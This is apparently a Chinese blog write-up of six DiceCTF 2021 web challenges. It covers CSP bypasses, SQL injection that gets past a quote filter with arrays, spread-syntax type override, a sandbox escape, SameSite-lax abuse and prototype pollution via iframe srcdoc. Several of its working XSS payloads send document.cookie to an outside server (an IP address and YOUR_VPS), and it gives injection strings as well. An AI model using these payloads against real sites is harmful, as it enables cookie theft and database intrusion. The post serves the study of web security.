Diggid's Blog

DiceCTF 2021 复盘

字数统计: 6k阅读时长: 29 min
2021/03/11 Share

前言

这场比赛web题偏nodejs,难度也还比较友好,题目类型还是一贯的外国比赛的风格,这里复盘记录一下web题目。

比赛地址:https://ctf.dicega.ng/challs

Babier CSP

给了题目源码、admin bot和一个可访问的页面,该页面可以点击链接,URL中有name字段

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`; // nonce : LRGWAXOY98Es0zz0QOVmag==

app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
});

nonce

简单读一下源码可以发现其中设置了csp

1
Content-Security-Policy: default-src none; script-src 'nonce-${NONCE}';

这里设置的script-src,正常情况下,服务器应该每次请求返回一个独一无二的nonce来保证嵌入的js代码无法执行,但这里注意到代码逻辑里生成nonce的crypto.randomBytes(16).toString('base64'),其在一开始起服务器的时候会成一个nonce,但这个nonce是固定的,不会随着刷新页面而改变。正常的代码应该把它放到路由里

1
2
3
4
5
app.get('/', (req, res) => {
const NONCE = crypto.randomBytes(16).toString('base64');
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})

所以可以执行任意js

利用

题目说了要获取admin的cookie,那直接xss外带就好了,常见的外带cookie的方式有很多,在csp绕过里也经常利用。这里最简单的location.href就可以了

payload

1
https://babier-csp.dicec.tf/?name=<script nonce='IwUpdL4Cz+kFdyb8AK1qcQ==' >window.location.href=`http://101.132.159.30:8888?c=${document.cookie}`</script>

注意URL编码

image-20210311202819510

得到的secret访问一下即可得到flag

image-20210311202924053

Missing Flavortext

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}

if ([req.body.username, req.body.password].some(v => v.includes('\''))) { //过滤单引
return res.redirect('/');
}

// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;

let id;
try { id = db.prepare(query).get().id } catch {
return res.redirect('/');
}

// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });

// incorrect login
return res.redirect('/');
});

app.listen(3000);

sqlite3的,有登录功能,重点关注

1
2
3
4
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;

这里是直接拼接进去的,显然存在sql注入,但是

1
2
3
if ([req.body.username, req.body.password].some(v => v.includes('\''))) { //过滤单引
return res.redirect('/');
}

这里过滤了的逻辑是在username和password中如果出现了单引号,就会被waf。如果没有单引号拼接的话基本上没办法注入,闭合不了引号,sql语句不会起作用。如果可以用引号的话

1
2
username=admin' or '1'='1&password=any
username=admin' or 1=1--+&password=any

都可以成功绕过登录。因此我们要绕过[req.body.username, req.body.password].some(v => v.includes('\'')的过滤。

数组绕过

这一层过滤很显然其逻辑是把req.body.usernamereq.body.passward当做字符串来处理其中的危险字符,我们再看看前面

1
2
3
4
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}

这里仅判断了这两个字段是否非空,没有做类型的过滤,这里就很敏感了。要知道,nodejs和php有类似的地方,其中存在许多类型混淆来绕过的地方。因此想到用数组来绕过,在php的许多绕过方式中,url中的数组绕过有奇效。比如弱类型,数组导致某些匹配函数(strcmp)报错为false来绕过。本地测试一下

1
2
3
4
5
6
7
8
9
10
11
var username = [`admin' or '1'='1`];
var password = 'any';
const query = `SELECT id FROM users WHERE
username = '${username}' AND
password = '${password}'
`;
if ([username, password].some(v => v.includes('\''))) { //过滤单引
console.log('no')
}else{
console.log(query)
}

image-20210311210627747

payload

1
username[]=admin' or '1'='1&password=any

Web Utils

这道题的界面是两个小工具,当然还有admin bot,和前面的题一样,我们需要xss来窃取admin的cookie才能得到flag

  • Pastebin:输入内容,生成一个URL,访问该URL会回显刚刚输入的内容
  • Link Shortener:将一个URL1变成另一个URL2,然后访问URL2会跳转到访问URL1

一开始想是否既然Pastebin能直接回显内容,那我们在内容里写<script>alert(1);</script>,然后让admin去访问会不会直接出发xss,但是实际上,这段js代码没有被解析。题目给了源码,我们可以定位到view.html上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!doctype html>
<html>
<head>
<script async>
(async () => {
const id = window.location.pathname.split('/')[2];
if (! id) window.location = window.origin;
const res = await fetch(`${window.origin}/api/data/${id}`);
const { data, type } = await res.json();
if (! data || ! type ) window.location = window.origin;
if (type === 'link') return window.location = data;
if (document.readyState !== "complete")
await new Promise((r) => { window.addEventListener('load', r); });
document.title = 'Paste';
document.querySelector('div').textContent = data;
})()
</script>
</head>
<body>
<div style="font-family: monospace"></div>
</bod>
</html>

代码逻辑大致是这样

  • id(就是view/:id)不为空,否则跳转会根目录
  • 获取res,判断res的类型:
    • res 为 link,则跳转到data这个URL处,也就是Link Shortener功能中我们输入的URL。
    • 不为link那就是paste了,这里通过document.querySelector('div').textContent来输出内容,这里的textContent仅仅只能修改内容,但不会被解析为js语句

注意到敏感语句

1
window.location = data;

这里的data假设是无任何过滤可控的,那么

1
window.location = "javascript:alert(1);"

可以执行xss。但不巧的是data被过滤了,下文有说。

展开语法和剩余参数

展开语法

剩余参数

在解题之前,我们需要了解js的展开语法(...),有点类似于语法糖。

展开语法(Spread syntax), 可以在函数调用/数组构造时, 将数组表达式或者string在语法层面展开;还可以在构造字面量对象时, 将对象表达式按key-value的方式展开。(译者注: 字面量一般指 [1, 2, 3] 或者 {name: "mdn"} 这种简洁的构造方式)

简单举几个例子

1.展开数组

还以用于数组拷贝、连接、头插等

1
2
3
var parts = ['shoulders', 'knees'];
var lyrics = ['head', ...parts, 'and', 'toes'];
// ["head", "shoulders", "knees", "and", "toes"]

2.展开对象

1
2
3
4
5
6
7
8
var obj1 = { foo: 'bar', x: 42 };
var obj2 = { foo: 'baz', y: 13 };

var clonedObj = { ...obj1 };
// 克隆后的对象: { foo: "bar", x: 42 }

var mergedObj = { ...obj1, ...obj2 };
// 合并后的对象: { foo: "baz", x: 42, y: 13 }

注意这里的mergedObj,在obj1和obj2中都有属性foo,但是后一个会覆盖前一个的相同属性。

剩余参数和展开语法的作用前缀都是...,但二者的应用场景不同,剩余参数在函数定义的参数中使用,用于参数的封装,而展开语法可以在除函数外的其他地方使用,如果应用于传参,那么其相当于将一个变量解封装后作为函数的参数,然后剩余参数机制又将函数参数封装起来传进函数内部进行相应的赋值等操作。

3.例子

  • 覆盖前一个相同的属性值(参数值)
1
2
3
4
5
6
7
8
9
sum = ({type, uid, data}) => {
console.log(type);
console.log(data);
console.log(uid);
};
uid = 123456;
change = {type : 'link', data : 'any', uid : 123};
sum({type : 'paste', ...change, uid});
sum({type : 'paste', uid, ...change});

image-20210313170049860

  • 关于参数封装与解封装的例子
1
2
3
4
5
6
7
8
9
var obj1 = { foo: 'bar', x: 42 };
var obj2 = { foo: 'baz', y: 13 };
const merge = ( ...objects ) => { return {...objects} };

var mergedObj = merge ( obj1, obj2);
// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
var b = {...[obj1, obj2]};
console.log(mergedObj);
console.log(b); // mergedObj的获取过程可以理解为b,但是这两个不一样

image-20210313170548599

展开语法覆盖参数

了解上面的特性后,仔细审计api.js后可以发现

api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
const database = require('../modules/database');

module.exports = async (fastify) => {
fastify.post('createLink', {
handler: (req, rep) => {
const uid = database.generateUid(8);
const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'Invalid URL'
});
database.addData({ type: 'link', ...req.body, uid });
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});

fastify.post('createPaste', {
handler: (req, rep) => {
const uid = database.generateUid(8);
database.addData({ type: 'paste', ...req.body, uid });
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});

fastify.get('data/:uid', {
handler: (req, rep) => {
if (!req.params.uid) {
return;
}
const { data, type } = database.getData({ uid: req.params.uid });
if (!data || !type) {
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'URL not found',
});
}
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data,
type
});
}
});
}

上面说到如果data没有被过滤并且res得到的类型是link的话,我们便可以执行xss。但是注意到createLink路由中正则过滤了URL

1
const regex = new RegExp('^https?://');

但是发现createPaste路由里没有过滤,而且存在...req.body的展开语法,因此思路就很清晰了

  • 通过展开语法覆盖掉前面的type: 'paste'

    抓包通过json的格式传入...req.body解构赋值所需要的对象,post正文如下(注意改Content-Type: application/json)

1
2
3
4
{
"data":"javascript:window.location=`http://YOUR_VPS/?c=${document.cookie}`",
"type":"link"
}

回显里得到的data拼接URL,把URL拿给admin访问即可(复现半路的时候题目环境关了qaq)

Web Ide

题目给了一个可以执行js代码的页面(在沙盒里),并且给出了题目源码index.js和在/ide路由中发现的sandbox.js

在index.js中很容易发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.post('/ide/login', (req, res) => {
const { user, password } = req.body;
switch (user) {
case 'guest':
return res.cookie('token', 'guest', {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
case 'admin':
if (password === adminPassword)
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
break;
}
res.status(401).end();
});

因此还是一样,我们需要窃取Admin的cookie,并且我们登陆执行js代码的身份是guest。这里还设置了cookie的一些属性,稍微分析一下:

  • path: '/ide':cookie可见域为/ide路由下

  • sameSite: 'none':允许在第三方环境中发送cookie,设置为'lax',我们也可以通过document.cookie来发送

image-20210314143306417

  • secure: true:在https下才能发送cookie

获取Function

在执行js代码的页面,首先肯定要尝试得到Function的构造器,因此这里尝试

1
[].constructor.constructor

成功得到了ƒ Function() { [native code] },因此我们可以通过以下形式执行任意代码

1
[].constructor.constructor(`eval('alert(1)')`)()

但是直接尝试通过当前页面读取document.cookie肯定是不行的,因为admin的cookie存储admin的浏览器中,并且cookie的可见域为/ide,我们是以guest的身份访问的这个网页,由于以上同源策略的限制,无法获取

Bypass CSP

注意到index.js中的一段代码

1
2
3
4
5
6
7
8
9
10
11
12
app.use('/', (req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
return next();
});

// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
// we have to allow this for obvious reasons
res.removeHeader('X-Frame-Options');
return next();
});

也就是说/sandbox.html页面是能够被其他页面的iframe嵌入进来的,因此我们可以构造一个页面,嵌入sandbox.html,然后通过postMessage向子窗传送数据(要执行的js代码)。构造的页面内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<body>
<iframe src="https://web-ide.dicec.tf/sandbox.html" width="800" height="400"></iframe>
<script>
let xss = `console.log(window.location)`,
payload = `[].constructor.constructor('eval(${xss})')()`,
frame = document.querySelector("iframe");

frame.addEventListener("load", function (e) {
console.log("loaded")
frame.contentWindow.postMessage(payload, '*');
});
// frame.onload = () => {}
</script>
</body>

把该页面放到vps的服务器上。尝试访问了该页面,成功再控制台打印出window.location

但是由于cookie的可见域是/ide,所以我们还要在利用js来打开并控制/ide页面的窗口句柄,稍微修改一下代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<body>
<iframe src="https://web-ide.dicec.tf/sandbox.html" width="800" height="400"></iframe>
<script>
xss = btoa(`eval("const win = window.open('/ide');()=>{window.location.href='http://YOUR_VPS/?c='+win.document.cookie}")`);
payload = `[].constructor.constructor("eval(atob('${xss}'))")()`;
frame = document.querySelector("iframe");

frame.addEventListener("load", function (e) {
console.log("loaded")
frame.contentWindow.postMessage(payload, '*');
});
// frame.onload = () => {}
</script>
</body>

让Admin bot访问上述页面即可在vps中的得到flag

Build A Panel

首先看到这题的CSP以及document.cookie的设置

1
Content-Security-Policy: default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/
1
2
3
res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'lax'});
...
res.cookie('token', secret_token, {maxage: 10800, httponly: true, sameSite: 'lax'});

注意到这里的cookie是lax设置的,意味着我们可以通过合法的顶级跳转在第三方网站间发送cookie。并且审计发现flag是插入到数据库中了,因此可以知道这题可能需要我们sql注入得到flag

审计前几段sql注入语句发现都是?的预编译,但是下面一处是拼接的sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.get('/admin/debug/add_widget', async (req, res) => {
const cookies = req.cookies;
const queryParams = req.query;

if(cookies['token'] && cookies['token'] == secret_token){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['wigetname']}', '${queryParams['widgetdata']}');`;
db.run(query, (err) => {
if(err){
console.log(err);
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
res.redirect('/');
}
});

sql注入点

上面的注入操作需要admin的token才能操作,这一处显然是存在sql注入的,可以插入

1
panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8',(SELECT+flag+from+flag),'{"type"%3a"sss"}')%3b--&widgetname=1&widgetdata=1

拼接之后就是

1
INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('54edc7c7-d693-4405-8c13-41aa90bd26a8',(SELECT flag from flag),'{"type":"sss"}');--', '1', '1');

要想插入这段数据,需要/admin/debug/add_widget路由,该路由需要admin token,因此我们要提交如下页面给admin bot

1
https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8',(SELECT+flag+from+flag),'{"type"%3a"sss"}')%3b--&widgetname=1&widgetdata=1

sameSite: lax

由于这题的admin cookie的sameSite为lax,试想一下admin bot访问我们提交链接的逻辑,也就是相当于admin在某个页面点击了某链接,该链接是我们提交的链接。并且,在admin点击该链接时,admin的cookie必须一同发送给/admin/debug/add_widget才能完成验证。这刚好符合lax的要求(通过合法的顶级跳转,这里指点击链接之类的操作,才会发送cookie),所以这题就迎刃而解了。将构造好的链接提交给admin bot访问。admin会以我们提交的panelid的身份查询出flag并插入相应的地方。

然后我们返回本地的/panel即可得到flag。或者带着panelId = xxx访问/panel/widgets也可以得到flag

Build A Better Panel

这题是上一题的进阶版,diff一下可以发现仅有一处改变

image-20210314204638035

也就是cookie的sameSite属性由lax换成了strict,意味着只有同源(first-party)的页面才传送cookie,其他跨站点的页面均不会发送cookie。除此之外没有其他改变,因此我们要发掘其他的利用点。

仔细审计一下发现几个可能存在原型链污染的地方

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
app.post('/panel/widgets', (req, res) => {
const cookies = req.cookies;

if(cookies['panelId']){
const panelId = cookies['panelId'];

query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
db.all(query, [panelId], (err, rows) => {
if(!err){
let panelWidgets = {};
for(let row of rows){
try{
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']); //原型链?
}catch{

}
}
res.json(panelWidgets);
}else{
res.send('something went wrong');
}
});
}
});

app.post('/panel/add', (req, res) => {
const cookies = req.cookies;
const body = req.body;

if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
if(err){
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
console.log(cookies);
console.log(body);
res.send('something went wrong');
}
});

submit.js

在Edit页面下的submit对应着该段代码

image-20210314205537541

1
2
3
4
5
6
7
8
fetch('/panel/add', {
method: 'post',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(addData)
});

custom.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}

const displayWidgets = async () => {
const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json();
let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};

safeDeepMerge(toDisplayWidgets, userWidgets); //原型链污染 ,userWidgets通过/panel/add路由传
...
}

原型链污染

分析一下上面几段代码

  • /panel/add路由接收传入的参数,实现的是数据库的插入功能,与之对应的fetchpost了json的数据
  • /panel/widgets路由通过panelID查询相应的widgetname\widgetdata,注意到
1
2
let panelWidgets = {};
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
  • 先接着往下看到cumtom.js的一段,很明显,safeDeepMerge存在原型链污染,但是key !== '__proto__'做了过滤,绕过办法是采用Object.prototype,这里的sourceuserWidgets,而userWidgets是由/panel/widgets路由res.json(panelWidgets)得到的

注意几个等价关系obj.constructor.prototype == Object.prototype

因此我们可以向add post传入

1
2
3
4
{
"widgetName": "constructor",
"widgetData": "{\"prototype\":{\"onload\":\"alert(1)\"}}"
}

然后/panel访问一下,在控制台内任意创建一个对象obj,输出obj.onload,成功原型链污染。但是alert(1)并不能执行,因为存在如下CSP的限制

1
Content-Security-Policy: default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/

script-src 'self'只允许执行同源的脚本。

回想一下上一题我们的目的是通过注入从而得到flag,这一题的情景最终也是需要注入才能得到flag。而注入我们只需要发送

1
https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1

srcdoc bypass CSP

因此我们只需要寻找可以发送请求的方式就可以绕过CSP了。由于js代码无法执行,没法通过location这类的方法来发送请求,并且default-src 'none'限制了iframe.src

但是iframe的属性比较多,搜一下手册就可以发现iframe.srcdoc属性,该属性会把srcdoc的值嵌入到iframe页面的document中,也就是说iframe.srcdoc='<p>hah</p>',可以在iframe页面的document中发现<p>hah</p>,这个属性拓宽了我们的攻击面,我们只需要寻找可以发送请求的标签,然后用iframe.srcdoc嵌入即可发送请求。

这里找的是<link>标签,或者带有srchref属性的标签都可以发送请求并且绕过csp的url限制(因为我们请求的url同源),最终还是要由admin去访问触发的,可以构造

1
<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>

除以上外,注意到这题不一样的地方是还提供了admin bot,并且限定了提交的URL

NOTE: The admin will only visit sites that match the following regex ^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$

看一下对应的/create路由

1
2
3
4
5
6
7
8
9
10
11
12
app.get('/create', (req, res) => {
const cookies = req.cookies;
const queryParams = req.query;

if(!cookies['panelId']){
const newPanelId = queryParams['debugid'] || uuidv4();

res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'strict'});
}

res.redirect('/panel/');
});

这里很明显一个queryParams['debugid'],提交该debugid参数后,admin的panelID可以设置为我们的panelID,所以我们只需要传入/create?debugid=YOUR_panelId即可

所以完整的思路:

1.先用JSON.stringify()构造payload,好处是不用手动转义双引号

1
2
3
4
5
6
7
8
9
10
11
console.log(
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>`
}
})
}))

{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}"}

2.生成的json发送给/panel/add路由,此时window.frames.srcdoc已经注入了我们构造的内容。

3.题目限定了admin bot可访问的URL为http://xxx/create?debugid=panelID

4.admin访问后,本地回到/panel即可得到flag

Conclusion

这次的题目难度还是比较友好的,重点考察了nodejs的代码审计以及关于csp相关的绕过知识。学到了不少新姿势,尤其是用iframe的srcdoc来注入存储型标签让admin访问从而触发请求。其次是一些nodejs的语法特性,时不时翻翻文档看看特性还是蛮不错的。

参考

https://www.anquanke.com/post/id/231421#h2-5

https://www.anquanke.com/post/id/231508#h2-19

https://www.secpulse.com/archives/128882.html

http://blog.zeddyu.info/2019/03/14/Web%E5%AE%89%E5%85%A8%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B-XSS-III/#iframe

CATALOG
  1. 1. 前言
  2. 2. Babier CSP
    1. 2.1. nonce
    2. 2.2. 利用
  3. 3. Missing Flavortext
    1. 3.1. 数组绕过
  4. 4. Web Utils
    1. 4.1. 展开语法和剩余参数
    2. 4.2. 展开语法覆盖参数
  5. 5. Web Ide
    1. 5.1. 获取Function
    2. 5.2. Bypass CSP
  6. 6. Build A Panel
    1. 6.1. sql注入点
    2. 6.2. sameSite: lax
  7. 7. Build A Better Panel
    1. 7.1. 原型链污染
    2. 7.2. srcdoc bypass CSP
  8. 8. Conclusion